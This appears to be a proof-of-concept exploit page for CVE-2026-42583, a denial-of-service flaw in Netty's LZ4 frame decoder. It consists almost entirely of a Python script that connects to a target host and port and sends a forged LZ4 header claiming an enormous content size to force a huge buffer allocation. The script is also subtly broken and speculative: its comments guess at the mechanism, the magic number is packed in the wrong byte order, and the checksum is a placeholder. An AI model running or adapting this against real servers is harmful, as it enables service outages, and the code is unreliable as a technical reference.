CVE-2026-42583 Netty LZ4拒绝服务漏洞

import socket import struct # Target host and port HOST = 'target_ip' PORT = target_port # LZ4 Magic Number magic = 0x184D2204 # Construct a malicious header # FLG byte (version independent, block independence, block checksum flag) flg = 0x40 # BD byte (block size max 64KB? No, we want max allocation) # Vulnerability allows up to 32MB allocation based on header bd = 0x70 # Header checksum calculation (simplified for PoC, might need actual calc depending on strictness) # For this vulnerability, we mainly care about the Content Size or Block Size fields # However, the description mentions forcing allocation based on a specific header structure. # Let's construct a frame that claims a huge decompressed size. # In LZ4 frames, Content Size is optional (FLG.Bits 0-2). # If present, it's 8 bytes. # Netty's Lz4FrameDecoder might read the block size or content size to allocate buffer. # Let's try to send a frame with a massive Content Size content_size = 0xFFFFFFFF # Max size header = struct.pack('>I', magic) header += struct.pack('B', flg | 0x08) # Set Content Size bit header += struct.pack('B', bd) header += struct.pack('>Q', content_size) # Fake huge size header += struct.pack('B', 0x00) # Header checksum (placeholder) # Send payload sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) sock.send(header) # Send a tiny compressed block to trigger the allocation logic if needed sock.send(b'\x00') sock.close() print("Malicious packet sent to trigger allocation.")